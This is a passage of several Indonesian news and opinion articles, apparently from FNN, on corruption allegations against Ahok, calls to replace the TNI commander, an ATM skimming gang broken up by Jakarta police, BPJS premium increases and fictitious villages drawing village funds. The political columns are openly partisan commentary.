Gubernur DKI Jakarta dan Pilpres 2014 dan mungkin saja 2019, maka Ahok layak diberi apresiasi. Bagi Jokowi, Ahok adalah penentu nasibnya hingga menduduki jabatan RI-1. Wajar kalau diberi hadiah bos BUMN. Sebab kalau menjadi menteri, wakil menteri ataupun pengawas KPK, syaratnya sangat berat dan sulit bagi Ahok untuk menembus. Sementara dengan menjabat bos BUMN--belum jelas apakah akhirnya menjadi Dirut atau Komut Pertamina, Inalum, Sarinah, dan lainnya—syarat itu masih debatabel. Erick Thohir malah optimistis Ahok bisa dititipi di salah satu BUMN, memang yang paling basah adalah Pertamina. Bahkan Erick menjamin bahwa proses seleksinya sedang berlangung, diprediksi awal Desember sudah bisa dilantik. Kasus Ahok Jika di-rewind ke belakang, sebenarnya Ahok meninggalkan banyak perrsoalan hukum. Mulai dari kasus RS Sumber Waras, Taman BMW, Rusun Cengkareng, reklamasi pantura Jakarta, dana kompensasi, dan kasus-kasus lain yang menurut audit BPK mengandung unsur pelanggaran hukum. Tapi untungnya rezim yang memimpin negeri ini adalah orang-orang yang dekat dengan Ahok. Sehingga sosok yang belakangan menjadi kader PDIP ini seperti tak tersentuh hukum. Adapun penetapannya sebagai terpidana kasus penistaan agama terjadi berkat tekanan kuat dari ummat Islam yang tergabung dalam gerakan 212. Berdasarkan buku Usut Tuntas Dugaan Korupsi Ahok yang ditulis Marwan Batubara, sedikitnya ada 7 kasus besar yang melilit Ahok sejak menjadi Wakil dan Gubernur DKI Jakarta. Pertama, berdasarkan hasil audit resmi BPK, Ahok terindikasi terlibat korupsi pembelian lahan RS Sumber Waras. Bahkan dalam prosesnya Ahok telah melakukan 6 pelanggaran yang serius sehingga negara dirugikan sebesar Rp191 miliar karena membeli lahan sendiri. Kedua, kasus lahan Taman BMW. Ahok diduga terlibat korupsi dalam pelepasan lahan Taman BMW seluas 12 hektar di Sunter di Jakarta Utara. Lahan itu sedianya akan digunakan untuk dibangun Jakarta International Stadium (JIS) Persija. Tapi lahan itu ternyata dikuasai PT Buana Permata Hijau (BPH). Ketiga, kasus lahan Rusun Cengkareng. Kasus ini berawal ketika Pemerintah Provinsi (Pemprov) DKI Jakarta membeli lahan seluas 4,6 hektare di Cengkareng, Jakarta Barat tahun 2015 seharga Rp668 miliar dari Toeti Noezlar Soekarno. Pembelian dilakukan Dinas Perumahan dan Gedung Pemprov DKI Jakarta (sekarang bernama Dinas Perumahan Rakyat dan Kawasan Permukiman DKI Jakarta). Lahan itu dibeli untuk pembangunan rumah susun (rusun). Pembelian itu belakangan dipermasalahkan saat Badan Pemeriksa Keuangan (BPK) menemukan, lahan itu juga terdata sebagai milik Dinas Kelautan, Pertanian, dan Ketahanan Pangan (DPKPKP) DKI Jakarta. Jika demikian, Pemprov DKI telah membeli lahannya sendiri. Keempat, penyelewengan dana corporate social responsibility (CSR) yang merupakan kompensasi dari para pengembang. Harusnya dana itu dimasukkan dulu ke dalam APBD DKI, baru digunakan sesuai perencanaan dan pagu anggaran yang disediakan. Nyatanya dana itu langsung digunakan untuk berbagai fasilitas seperti jalan lingkar Semanggi, baru diappraisal nilainya di-netting ke dalam APBD. Kelima, penyimpangan dana non budgeter. Berbagai proyek pembangunan di DKI Jakarta selama dipimpin Ahok disusun dan ditetapkan secara sepihak tanpa melibatkan DPRD DKI Jakarta dan tanpa menggunakan dana APBD DKI Jakarta. Intinya, Ahok menggunakan dana pengusaha untuk pembangunan fasilitas publik. Menurut Ahok, pembangunan yang menggunakan APBD prosesnya rumit, sehingga dia memilih cara cepat dengan mengumpulkan dana kompensasi dari para pengembang proyek di Jakarta dan Ahok merasa itu adalah wewenang diskresinya. Direktur Utama Podomoro Land, Ariesman Widjaja. Kepada penyidik KPK, dia menyatakan ada 13 proyek reklamasi PT Muara Wisesa Samudra, anak perusahaan Agung Podomoro, yang anggarannya akan dijadikan pengurangan kontribusi tambahan proyek reklamasi. Pengurangan terjadi kalau Agung Podomoro membangun fasilitas umum untuk DKI Jakarta yang nilainya mencapai Rp1,6 triliun. Namun mekanisme ini melanggar aturan yang ada dan tak bisa dipertanggungjawabkan. Keenam, kasus reklamasi Teluk Jakarta. Pada tahun 2015 (masa Gubernur Basuki Tjahaja Purnama/Ahok), pembangunan di Teluk Jakarta mulai bergerak dengan dikeluarkannya izin reklamasi Pulau G, Pulau F, Pulau I, dan Pulau K. Masih ada sekitar 13 Pulau yang belum mendapat izin pelaksanaan reklamasi dari Pemerintah Provinsi DKI Jakarta. Namun dalam prosesnya pulau yang dibangun di proyek reklamasi ini tanpa menggunakan izin lingkungan (Amdal), penerbitan IMB tanpa penjelasan rencana tata ruangnya, bahkan tanpa IMB. Ketujuh, kasus-kasus korupsi Ahok di Belitung Timur. Mantan Bupati Belitung Timur yang juga menjadi pasangan Ahok dalam Pilkada Kabupaten Beltim, Khairul Effendi, pernah mengungkap buruknya kinerja Basuki Tjahja Purnama (Ahok) yang menjabat sebagai Bupati Beltim. Pada hari Rabu, 9 Desember 2014, Komite Masyarakat Peduli Penyalahgunaan Kekuasaan (Kompak Babel), LSM Alamak Babel, Maki Babel, melaporkan Basuki Tjahaya Purnama (Ahok) ke KPK atas dugaan perusakan hutan lindung dan penambangan ilegal di Gunung Nayo, Belitung Timur, dengan nomor aduan (2014-12-000152). Penambangan pasir kuarsa di kawasan hutan lindung ini mulai ditangani kepolisian pada tahun 2010, dan pada awal tahun 2011 dilimpahkan kasusnya untuk ditangani Polda Bangka Belitung. Bersama Dinas Pertambangan dan Dinas Kehutanan Provinsi, waktu itu polisi telah menemukan lokasi penambangan pasir kuarsa CV Panda yang dimiliki oleh Ahok berada di kawasan hutan lindung. Hal itu berdasarkan Peta 410 (SK Menhut 410 thn 1986) dan Peta 357 (SK menhut 357 thn 2004). Namun hingga saat ini belum ada kejelasan kelanjutan proses hukum kasus ini. Fakta dari rekam kronologis, dapat diketahui kalau tahun 1992 - 1998 CV Panda melakukan operasi produksi pasir kuarsa di kawasan hutan lindung tadi dan baru berhenti pada 20013. Artinya perusahaan CV Panda melakukan penambangan terlarang selama kurang lebih 9 tahun, dan hal ini jelas pelanggaran hukum yang patut dipidana. Dengan rekam jejak Ahok yang sangat buruk di atas, terutama dalam hal dugaan korupsi, sepertinya Jokowi sedang bermain-main dengan risiko kepemimpinannya. Nama baik Jokowi bisa jadi buruk dibuatnya, seburuk tindak pidana korupsi yang diduga dilakukan oleh Ahok. Kita lihat saja seberapa kuat Jokowi mengangkat kembali barang rongsokan yang bernama Ahok, tokoh tak kredibel, pemarah, dan cenderung merugikan negara. Prosesnya sangat menarik untuk dinikmati...! Penulis adalah wartawan senior.

Pamor TNI Runtuh, Presiden Joko Widodo Harus Ganti Marsekal Hadi Tjahjanto?

Sebelum Hadi menjadi Panglima, TNI selalu berada urutan paling atas dari institusi negara yang paling dipercaya oleh masyarakat. Namun sekarang peringkat TNI turun beberapa digit. Dari raihan dengan prosentase 90,4% di tahun-tahun sebelumnya, kini turun menjadi hanya 89% di eranya Hadi Panglima TNI. Kalau Hadi masih dipertahankan terus, maka tidak tertutup kemungkinan citra TNI makin buruk lagi di matas masyarakat. By Haris Rusly Moti Presiden Joko Widodo telah mengganti Kepala Polri yang dijabat Jenderal Tito Karnavian. Kini Jenderal Idham Azis diberikan “mahkotai” untuk memimpin Polri. Perggantian Jenderal Tito sebagai Kapolri itu memang terasa sangat mengejutkan. Masa dinas aktif Jendral Tito Karnavian masih cukup lama. Tito baru pensiun pada tahun 2023 nanti. Masih tersisa masa dinas aktif Tito sekitar dua tahun lebih lagi. Namun begitulah yang namanya hak prerogatif Presiden berbicara. Menyusul perubahan kepemimpinan di tubuh Polri itu, wajar saja kalau jika banyak pihak mendesak agar Presiden Joko Widodo juga segera mengganti Panglima Tentara Nasiopnal Indonesia (TNI). Butuh perubahan kepemimpinan di tubuh TNI. Meskipun memilih dan mengangkat calon Panglima TNI tersebut merupakan hak prerogatif Presiden. Namun, penting bagi Presiden Joko Widodo untuk mendengarkan dan mempertimbangkan pandangan, dan pendepat yang berkembang public sekarang ini. Banyak pertimbangan dibalik desakan tersebut. Diantaranya, pertimbangan normatif seperti perlunya regenerasi di tubuh TNI. Selain itu adalah pertimbangan aktual, terkait menurunnya tingkat kepercayaan publik kepada institusi dan kelembagaanTNI. Menurut pandangan kami, Presiden Joko Widodo bertanggungjawab untuk mengembalikan pamor TNI. Presiden harus bangun dan tumbuhkan lagi kepercayaan rakyat kepada institusi TNI. Sebab di era kepemimpinan Panglima TNI Marsekal Hadi Tjahjanto, pamor dan kepercayaan kepada TNI anjlok. Bisa dibayangkan, selama ini berkembangnya persepsi di publik, yang menganggap bahwa Panglima TNI Marsekal Hadi semata-mata sebagai Wakil Kepala Polri yang dijabat Jenderal Tito. Bahkan, lebih tragis lagi, ada yang beranggapan Hadi menjadi ajudannya Kapolri Tito Karnavian. Persepsi seperti ini sangat melecehkan dan merugikan institusi TNI. Persepsi seperti itu bisa berkembang pasti ada sebabnya. Tdak ujug-ujug datang begitu saja dari langit. Kata orang kampong, “ada asap pasti ada apinya”. Persepsi seperti itu berkembang lantaran masalah kapasitas kepemimpinan dan intelektual di dalam diri Marsekal Hadi. Persepsi negatif kepada Marsekal Hadi Tjahjanto tersebut berimbas langsung menjadi persepsi negatif kepada institusi Tentara Nasional Indonesia (TNI). Survey opini publik yang dilakukan oleh LSI Denny JA membuktikan menurunnya persepsi positif tersebut terhadap TNI. Hasil survey yang diumumkan pada Rabu, 13 November 2019 itu membuktikan terjadi penurunan kepercayaan publik kepada institusi TNI. Dibandingkan dengan tahun-tahun sebelumnya, dimana institusi TNI menempati peringkat paling atas sebagai institusi paling terpercaya oleh masyarakat. Sebelum Hadi menjadi Panglima, TNI selalu berada urutan paling atas dari institusi negara yang paling dipercaya oleh masyarakat. Namun sekarang peringkat TNI turun beberapa digit. Dari raihan dengan prosentase 90,4% di tahun-tahun sebelumnya, kini turun menjadi hanya 89% di eranya kepemimpinan Hadi. Kalau Hadi dipertahankan terus, maka tidak tertutup kemungkinan citra TNI makin buruk lagi di matas masyarakat. Perlu ditekankan bahwa masalahan Hadi Tjahyanto bukan masalah antara matra di dalam tubuh TNI. Setiap matra pasti memiliki perwira terbaik yang mempunyai kapasitas untuk memimpin TNI. Masalah Hadi Tjahjanto adalah masalah kapasitasnya, baik kapasitas leadership maupun kapasitas intelektual yang tidak kompatibel dengan tantangan zaman. Sebagai contohnya ketika Panglima TNI Marsekal Hadi Tjahjanto menanggapi teror berdarah di Polres Medan, di sebuah acara di Bogor, 13 November 2019. "Diantara ancaman revolusi industri 4.0 adalah peristiwa yang terjadi dalam tempo yang singkat. Kita tak membayangkan tiba-tiba terjadi, 'bang!' Bom, di Medan terjadi bom bunuh diri," ujar Marsekal Hadi. Marsekal Hadi mungkin perlu membuka buka kembali google untuk melihat ciri ciri serangan teror yang dilakukan oleh terorisme dari berbagai generasi. Pada dasarnya hampir seluruh kejadian teror, baik teroris generasi 3.0 maupun teroris generasi 4.0, selalu dilakukan dengan effek kejut, cepat, singkat. Tidak dapat diduga sebelumnya, baik waktu, sasaran maupun pelakunya. Jadi, kejadian bom Medan bukanlah ciri dari ancaman revolusi 4.0. Perhatikan teror 911 yang meruntuhkan gedung WTC di Amerika. Semuanya berlangsung dengan sangat eskalatif, sangat cepat, dan tak dapat diprediksi sebelumnya. Demikian juga teror bom di dalam negeri, seperti di Bali, Kedubes Australia hingga teror bom Marriot. Semua peristiwa teror yang sangat eskalatif itu terjadi sebelum berlangsung revolusi 4.0. Jangan kemudian kita mengkambinghitamkan revolusi 4.0 untuk menutupi ketidakmampuan dan kegagalan kita sebagai pemimimpin negara ini. Kegagalan kita dalam melindungi segenap bangasa dan tumpah darah Indonesia, seperti yang diamanatkan di dalam Pembukaan UUD 1945. Penulis adalah Kepala Pusat Pengkajian Nusantara-Pasifik (PPNP)

Top, Polda Metro Jaya Bongkar Mafia Internasional Skimming ATM

Cara yang mereka gunakan adalah melakukan survei pada lokasi yang tepat. Setelah itu mereka memasang skimmer untuk mencuri dan mengambil data. Dari data tersebut, mereka menggunakannya untuk transaksi perbankan dengan kartu nasabah yang sudah dikloning. Oleh Ninoy Karundeng Jakarta, FNN - Waspada! Kejahatan mafia internasional skimming kartu lewat Anjungan Tunai Mandiri (ATM) yang marak di seluruh dunia. Polda Metro pun berhasil membongkar jaringan mafia skimming internasional, yang berasal dari Rumania, bernama Solomev. Pelaku warga negara Rumania ini ditembak mati oleh jajaran Polda Metro. Kejadian ini sebagai bukti bahwa kejahatan penggandaan kartu ATM sedang marak terjadi di sekitar. Pola digunakan pelaku adalah, dengan pencurian data lewat skimming atau cloning terhadap kartu ATM. Sekarang ini penggunaan kartu ATM memang rawan untuk terjadinya kejahatan perbankan. Misalnya, seperti kloning kartu atau skimming. “Selian itu, dilakukan juga penyadapan lewat SMS, dan penggunaan alat-alat penyadap lainnya, ”kata Direktur Reserse Krimum Polda Metro Jaya Kombes Suyudi Ario Seto. Dijelaskan Suyudi, sekarang ini kejahatan perbankan lewat pencurian data nasabah tengah menjadi fenomena global. Hampir terjadi seluruh dunia. Di Indonesia kejahatan ini sejak beberapa tahun lalu. Misalnya yang terjadi di Bali, Bandung, Medan, Surabaya, Jakarta. Untuk itu, nasabah bank harus hati-hati menjaga dan menggunakan PIN kartu. Jika berada di ATM, perhatikan apakah ada yang mencurigakan pada alat pembaca atau card reader di ATM. Selain itu, perhatikan adanya kamera kecil yang bisa disembunyikan di lampu. Merata di Dunia Belom lama ini Kepolisian Hyderabad di India, juga membongkar dan menangkap dua orang warga negara Rumania. Dua orang pelaku kejahatan skimming dan cloning di India itu adalah Virgil dan George. Mereka melakukan skimming seperti yang dilakukan oleh Solomev di Jakarta. Biasanya meraka memasang skimmer di dalam ATM. Tujuanya, untuk mendapatkan data yang tersimpan dalam strip magnetik pada kartu debit atau kartu kredit. Untuk mendapatkan nomor pin mereka memasang camera micro atau spy camera. Kejadian yang sama juga pernah terjadi Amerika Serikat pada bulan Oktober lalu. Aparat berwenang Amerika ditangkap 18 orang anggota, yang menjadi geng spesialis pembobol rekening via ATM. Mereka kebanyakan berasal dari Rumania. Klop jadinya. Sebelumnya pada tahun 2017 aparat berwenang Amerika menangkap Lonela Vaduva (29), Danusia Trifu (48), Marion Trifu (20), Petrica Maradona Velcu (26), dan Benone Lapadat (39). Kelima orang pelaku ini ditangkap karena melakukan kejahatan skimming di Pennsylvania. Khusus di Amerika saja, pencurian dengan pola skimming ini merugikan nasabah mencapai U$ 20 juta dollar. Salah satu korban terbesar adalah Ismail Sali. Nasabah Ismail ini mengalami kerugian sebesar U$ 300 ribu dollar. Tak tanggung-tanggung perbuatan kelompok yang telah meresahkan nasabah bank ini. Mereka pencurian ini memasang alat skimmer di seluruh penjuru Amerika. Mereka beroperasi di berbagai kota dan Negara bagian di Amerika. Cara yang mereka gunakan adalah melakukan survei pada lokasi yang tepat. Setelah itu mereka memasang skimmer untuk mencuri dan mengambil data. Dari data tersebut, mereka menggunakannya untuk transaksi perbankan dengan kartu nasabah yang sudah dikloning. Sudah ratusan ATM menjadi sasaran para penjahat ini di seluruh wilayah Amerika. Paling kurang sudah 17 negara bagian menjadi sasaran mereka. Terkait penangkapan tersebut, arapat berwenang Amerika sedang melakukan sampai ke Mexico dan Italia. Secara teknologi, ATM buatan NCR, Diebold Nixdorf, dan GRG Banking, bisa menyesuaikan dengan alat skimmer, dan hacking. Mereka penjahat hanya membutuhkan waktu 20 menit sejak dipasang untuk mencuri data di rekening. Itu hasil temuan ahli dari Positive Technologies. Kejahatan terkait kartu ATM ini juga marak terjadi di Eropa. Polisi di bebrapa Negara Eropa telah melakukan penangkapan, dan menyita lebih dari 1.000 kartu debit yang telah digandakan. Pencurian data melalui mesin ATM ini telah merugikan perbankan Eropa antara € 250 - 350 juta euro per tahun. Kejahatan seperti selain terjadi di India, terjadi pula di Thailand, Hongkong, Indonesia, Mexico, Italia, Amerika Serikat, Fiji, China, Pakistan, Jepang, Filipina, Malaysia, Brazil, Kolombia, dan beberapa Negara lain. Bahkan pada tahun 2016, pencurian lewat kartu ATM dengan data yang dicuri dari Bank Afrika Selatan berhasil menggasak duit sebesar U$ 12,7 juta dollar.

Diduga Memeras Rakyat, BPJS Sebaiknya Bubar

Oleh Mochamad Toha Jakarta, FNN - Pernyataan mengejutkan datang dari kader PDIP. Anggota Komisi IX DPR Ribka Tjiptaning mengkritik kebijakan kenaikan tarif iuran BPJS. Menurut Wasekjen PDIP ini, kenaikan tarif iuran BPJS Kesehatan yang mencapai 100% akan membuat masyarakat menjerit. Bahkan kebijakan yang telah disetujui Presiden Joko Widodo ini layaknya bentuk pemerasan kepada rakyat. Pernyataan sangat mengejutkan itu Ribka di Gedung Nusantara I, Kompleks DPR RI, Senayan, Rabu (6/11/2019). “Elu karena enggak masuk PBI karena yang sehat membantu yang sakit tapi dipaksakan satu keluarga (membayar). Itu namanya pemerasan, bukan gotong-royong, apalagi naik 100%,” ujar Ribka, seperti dilansir RMOL.com. Lebih lanjut, kata Ribka, alasan kenaikan iuran demi menutupi defisit negara yang mencapai triliunan rupiah juga dinilai bukan alasan tepat. “Udeh jangan ngomongin defisit, ini sudah salah pengelolaan,” tambah Ribka. Ribka bukannya tanpa alasan menyalahkan buruknya pengelolaan. Menurutnya, di zaman Menkes Siti Fadhilah Supari terdapat Jamkesmas dengan premi Rp 5.000, tapi berjalan lancar tanpa adanya keluhan dari masyarakat. “Enggak ada yang ribut. Dokter enggak ribut, rumah sakit enggak ribut (dibayar) lima ribu. Masa sekarang Rp 23 ribu yang PBI masih ribut, artinya di mana nih ributnya?” pungkas Ribka, seperti dilansir dari Kantor Berita RMOLNetwork. Peneliti Cikini Studi Teddy M Yamin di Jakarta, dilansir Beritasatu.com, Jumat (1/11/2019) meminta Pemerintah memberi penjelasan detail terkait kenaikan iuran BPJS Kesehatan yang mencapai 100%. Hal ini diperlukan agar masyarakat memahami langkah yang diambil pemerintah dalam menaikkan iuran BPJS tersebut. Menurut Teddy, Kepala Staf Kepresidenan (KSP) Moeldoko, yang meminta seluruh elemen masyarakat “memahami” keputusan pemerintah menaikkan iuran BPJS Kesehatan hingga dua kali lipat harus dijelaskan secara rinci penyebabnya, sehingga tidak terkesan pembelaan. Teddy mengatakan, sejauh ini tidak ada yang tahu apa penyebab utama defisit yang dialami BPJS Kesehatan sehingga pemerintah meminta masyarakat untuk “memahami” keputusan menaikan iuran BPJS Kesehatan 100%. Padahal, bisa saja UU BPJS Kesehatan itu sendiri yang kurang sempurna, miss management, akturia yang kurang cermat menghitung premi, masalah fraud di internal penyelenggara, atau oleh sebab lain. “Tidak ada yang tahu. Jangan salahkan lagi publik, jika publik bertanya-tanya karena belum ada penjelasan resmi tentang alasan kenaikan premi yang melompat ini,” tandasnya. Kenaikan iuran BPJS Kesehatan hingga dua kali lipat ini tak normal dalam bisnis asuransi kesehatan dengan produk konvensional. Menaikkan iuran di atas 10% saja dalam bisnis asuransi konvensional merupakan hal yang tak normal dan bisa membuat nasabah kabur. Apalagi, banyak alternatif perusahaan asuransi yang bisa menjadi pilihan. Selain itu, jarang pula terjadi perusahaan menaikkan biayanya untuk satu pos sebanyak 100%. Karena itu, langkah menaikkan iuran BPJS Kesehatan sebanyak 100% merupakan tindakan yang tidak normal dalam bisnis asuransi. Kendati demikian, dalam konteks ini, masyarakat tidak ada alternatif pilihan. Masyarakat dipaksa dan terpaksa harus menerima keputusan pemerintah ini, karena mereka tidak punya alternatif lain. Terlepas dari fungsi dan manfaatnya bagi rakyat yang pernah mendapatkan pelayanan BPJS Kesehatan adalah hak rakyat untuk mendapatkan pelayanan kesehatan dari pemerintahnya. Pemerintah bertanggung jawab menyediakan pelayanan kesehatan bagi rakyatnya bukan mencari laba. UU BPJS, sudah jelas menyebutkan bahwa BPJS merupakan lembaga yang dibentuk untuk menyelenggarakan program jaminan sosial di Indonesia menurut UU Nomor 40 Tahun 2004 dan UU Nomor 24 Tahun 2011. Sesuai UU Nomor 40 Tahun 2004 tentang Sistem Jaminan Sosial Nasional, BPJS merupakan badan hukum nirlaba. “Untuk diketahui premi yang dibayarkan menurut data yang dicermati Cikini Studi sekitar Rp 300 miliar per tahun,” paparnya. Oleh karena itu, semestinya pemerintah bisa mencari alternatif lain untuk menyelesaikan kemelut persoalan defisit keuangan yang dialami oleh BPJS Kesehatan tanpa membebani rakyat yang tengah bergelut dengan berbagai problema ekonomi saat ini. “Apalagi kewajiban membayar premi BPJS Kesehatan satu keluarga, misalnya empat orang peserta. Jangan bandingkan dengan karyawan yang preminya dibayari perusahaan. Terlebih jangan bandingkan dengan pejabat pemerintah,” ungkapnya. Pejabat pemerintah yang penuh fasilitas, termasuk asuransi kesehatan tidak perlu memakai jasa BPJS Kesehatan untuk menjamin kesehatannya dan anggota keluarganya. Karena, semua pejabat Indonesia, termasuk di dalamnya anggota DPR, menteri, dan pejabat lainnya setingkat eselon 1 dijamin biaya premi asuransi kesehatannya (yang dijamin asuransi konvensional bukan BPJS Kesehatan). Benefit yang super dan full cover untuk perawatan di dalam dan di luar negeri jika diperlukan dengan premi yang ditanggung negara (APBN). Pejabat yang dijamin kecuali Presiden dan Wapres sekitar 10.000 peserta, termasuk di dalam keluarga (bersama tanggungannya). Benefit yang lengkap, seperti rawat inap, rawat jalan, rawat gigi, kacamata, melahirkan dengan manfaat tak terbatas. *BPJS Bubarkan Saja!* Seruan keras datang dari Eddy Junaidi, seorang aktivis yang juga wartawan senior. Menurut Eddy dengan BPJS diwajibkan dan negara terlibat dalam menetapkan sanksi bagi yang belum bayar, sudah bertentangan dengan UU, karena BPJS awalnya adalah sistem jaminan sosial. BPJS bukan lagi sebagai upaya pelayanan publik di bidang kesehatan (sesuai niat UU), tapi kini menjelma menjadi perusahaan asuransi yang dzolim dan banyak mudharatnya. Misi yang ambigu antara misi sosial (subsidi dengan Penerima Bantuan Iuran) dan komersial sebagai asuransi menandakan negara tidak mampu mengelola sistem jaminan sosial sesuai substansi UU Nomor 40 Tahun 2004. Jika BPJS dikelola seperti ini lebih baik dikembalikan ASN dengan Askes, TNI-POLRI dengan Asabri, publik pekerja dengan Jamsostek di bidang kesehatan. Sistem jaminan kesehatan yang semula melalui Jamkesmas juga sudah baik dirumuskan ulang dengan solusi khusus atau dipisah secara manajerial agar tidak berimplikasi buruk terhadap layanan kesehatan masyarakat karena tidak adil kebijakan harganya dengan jasa rumah sakit dan perangkatnya. Pemerintah sudah gagal mengelola sistem jamsinan sosial dan eksesnya menimbulkan kegaduhan di ruang publik, dan terkesan mudharatnya lebih banyak. Sangat mengherankan jika sampai saat ini Direksi BPJS tidak diganti karena jelasjelas gagal, tak memenuhi harapan sistem jaminan sosial sesuai perintah konstitusi. Sistem jaminan sosial merupakan perwujudan Pasal 28 H mengembangkan sistem jaminan sosial negara (SJSN) pada Pasal 34 ayat (2) UUD 1945. Konstitusi memerintahkan sistem jaminan sosial pada UU Nomor 40 Tahun 2004 dan UU Nomor 24 Tahun 2011 tentang BPJS, hak warga negara berubah menjadi kewajiban warga negara berbasis iuran (asuransi). Sanksi dengan PP Nomor 86 Tahun 2013, yang akan efektif diberlakukan pada Januari 2020 semakin menyimpang dari perintah konstitusi. Ambiguitas ini terkesan pemerintahan Jokowi tidak mantap visinya dalam pengelolaan BPJS. Data dari Direksi BPJS pada 2018, jumlah peserta mencapai 196,4 juta orang dan dari jumlah tersebut, 92,2 juta jiwa (47%) adalah PBI (Penerima Bantuan Iuran) subsidi karena dianggap miskin berdasarkan Keputusan Menteri Sosial Nomor 146 Tahun 2013, dengan 14 kriteria orang miskin. Data ini bertentangan dengan data BPS tentang jumlah orang miskin sebanyak 25,95 juta orang, sementara pada APBN subsidi (PBI) terhitung 96,8 juta orang miskin. Peningkatan ini menjadi terkesan ambigu sikap Pemerintah dalam menyikapi data orang miskin. Secara politik diakui data orang miskin hanya 9,8% atau 25 juta orang. Sementara untuk pemenuhan anggaran Kementerian Sosial dan BPJS diakui 96,8 juta orang. Siapa yang bertanggung jawab terhadap selisih data yang mencapai 70,8 juta jiwa ini. Padahal Jokowi pada 26 April 2016 di Istana Negara dengan tegas menyatakan untuk basis data pegangannya hanya satu, yakni BPS. Hal ini juga mungkin pemerintah tak reaktif saat BPS menilai bahwa Indonesia tergolong negara dengan penduduk miskin terbesar. Jika PBI berbasis data BPS tentu subsidi mengecil dan sistem jaminan sosial tidak terwujud. Dengan peningkatan data riil tentang jumlah orang miskin subsidi melalui PBI pada 2019 mencapai Rp 19,54 triliun. Sudah waktunya memikirkan solusi permanen tentang persoalan BPJS. Berbasis UUD 1945 tak ada salahnya negara mensubsidi, tapi jangan di bawah naungan korporasi yang bervisi ambigu dan cengeng karena melibatkan negara dalam penerapan sanksi. Total klaim BPJS pada 2018 sebesar Rp 68,52 triliun, artinya jika dikonversi menjadi beban negara seperti tarif PBI Rp 23.000 per jiwa. Jika dikalikan dengan basis 250 juta orang dikalikan 12 bulan setahun, setara dengan klaim BPJS pada 2018. Jika ditanggung negara dengan standar layanan sama semua rakyat Indonesia terlayani dan bagi yang ingin di luar standar layanan PBI bagi yang mampu baru berlaku kelas sesuai azas kapitalisme. Kegagalan BPJS tersebut, karena agenda sosialisme pada UUD 1945 dibajak oleh kapitalisme, sehingga sistem jaminan sosial diubah menjadi asuransi. BPJS yang korporatif ditumpangi oleh PBI atas nama kepentingan negara, sehingga tujuan sosial dan komersial BPJS saat ini menjadi sama-sama gagal. Seharusnya subsidi negara untuk orang miskin ditangani lembaga pelayanan publik nirlaba, seperti Perum atau Perjan (BUMN) di era Orde Baru. Dengan konsep seluruh rakyat dilayani dengan tarif Rp 23.000/orang/bulan menjadi adil bagi rakyat Indonesia. BPJS untuk yang mampu, silakan menyesuaikan tarif karena secara basis pemerintah sudah mensubsidi sebagian layanan kesehatan tanpa terkecuali. Sementara asuransi BPJS Kesehatan saat ini berorientasi komersial. Eksesnya hancurnya cash flow RS yang ditunggaki tagihan BPJS tidak bisa dihindari. BPJS saat ini bukan solusi, tapi menimbulkan kegaduhan baru. Direksi BPJS gagal, terlihat dari cara mereka menjawab pertanyaan DPR saat RDP beberapa hari lalu. BPJS direvitalisasi dan dituntut adanya kejelasan dalam status pengelolaan dana PBI untuk membedakan mana yang murni sistem jamsos, dan mana layanan komersial selayaknya asuransi. Jika tidak, bubarkan saja, kembalikan fungsinya masing-masing seperti sebelum melebur dengan BPJS. *) Penulis adalah wartawan senior.

Sengkarut Dana Desa: Antara Desa Fiktif, Kepentingan Pilpres, dan Salah Kelola

Oleh Mochamad Toha Jakarta, FNN - Kepala Dinas Pemberdayaan Masyarakat dan Desa (DPMD) Jawa Timur Mohammad Yassin mengungkapkan, menurut catatan Indonesia Corruption Watch (ICW), dalam kurun waktu 1 tahun terdapat kurang lebih 100 penyelewengan dana desa di Jatim. Penyelewengan yang kerap terjadi antara lain, rancangan anggaran di-mark up, volume fisik pekerjaan kurang atau tak sesuai RAB, penyusunan APBDes tidak mengacu pada RKP Desa, kewajiban perpajakan belum atau tak dilaksanakan, dan beberapa temuan lain. Dengan kegiatan Kawal Desa Melalui Pengawasan (Kades Lawas), Inspektorat dan DPMD Jatim bekerja sama dengan Pemkab/Pemkot secara rutin menggelar kegiatan Kades Lawas sebagai wujud pencegahan korupsi pada pemerintahan desa. Melansir Harianbhirawa.co.id, Selasa (15/10/2019), di Jatim ada 8.500 desa menerima dan mengelola bermacam-macam jenis anggaran keuangan dari pemerintah. Karena itu alurnya harus diawasi dengan baik guna meminimalisir kesalahan pengelolaannya. Menurut Inspektur Provinsi Jatim Helmi Perdana Putra, dalam pengelolaan keuangan desa, saat ini harus tetap diawasi dengan benar. “Kades Lawas itu lahir dari latar belakang kasus temuan ICW sejumlah 184 kasus, dan 141 kasus di aparatur pemerintah,” jabar Helmi. Menariknya, di Jombang, dengan beberapa anggaran desa yang dikorupsi kepala desa, hanya cukup dikembalikan lewat Inspektorat saja, dan tidak ada proses hukum. “Ada apa ini,” ujar seorang warga Jombang kepada fnn.co.id. Jika di Jatim yang terungkap adalah adanya sejumlah penyelewengan dalam pengelolaan dana desa, namun di beberapa daerah lainnya ditemukan adanya “Desa Hantu” alias “Desa Siluman”, nama desanya ada secara administratif, tapi tanpa penduduk. “Desa Hantu” inilah dipakai untuk menyedot dana desa. Soal Desa Hantu itu terungkap saat Menkeu Sri Mulyani Indrawati melaporkan evaluasi kinerja APBN Tahun Anggaran 2019 di ruang rapat Komisi XI DPR, Jakarta Selatan. Sri Mulyani mengungkapkan bahwa saat ini banyak muncul desa “hantu” atau desa-desa baru yang tidak berpenghuni. Desa tersebut muncul tiba-tiba demi mendapatkan alokasi anggaran program dana desa yang sudah dijalankan Pemerintah. “Sekarang muncul desa-desa baru yang nggak ada penduduknya karena adanya dana desa,” kata Sri Mulyani, seperti dilansir Detik.com, Senin (4/11/2019). Pihaknya mengalokasikan anggaran dana desa sebesar Rp 70 triliun di tahun 2019. Indonesia memiliki 74.597 desa di 2019, di mana setiap desa mendapatkan anggaran sekitar Rp 900 juta. Kemendagri mengatakan, fenomena desa 'hantu' alias tak berpenghuni berada di salah satu Kabupaten, Provinsi Sulawesi Tenggara. Desa tersebut sengaja dibentuk demi mendapatkan aliran uang program dana desa. Dirjen Bina Pemerintahan Desa Kemendagri, Nata Irawan mengatakan, pembentukan desa fiktif ini sudah lama terjadi dan telah terendus oleh KPK. “Itu isu sudah lama, tapi dikembangkan lagi, sudah pernah didiskusikan oleh KPK, di salah satu desa di Sulawesi salah satu Kabupaten ada desa fiktif,” kata Nata kepada Detik.com, Jakarta, Selasa (5/11/2019). Ia mengungkapkan ada empat desa 'hantu' alias fiktif yang selama ini sudah menerima aliran dana desa. Pihaknya pun telah menurunkan tim untuk melakukan 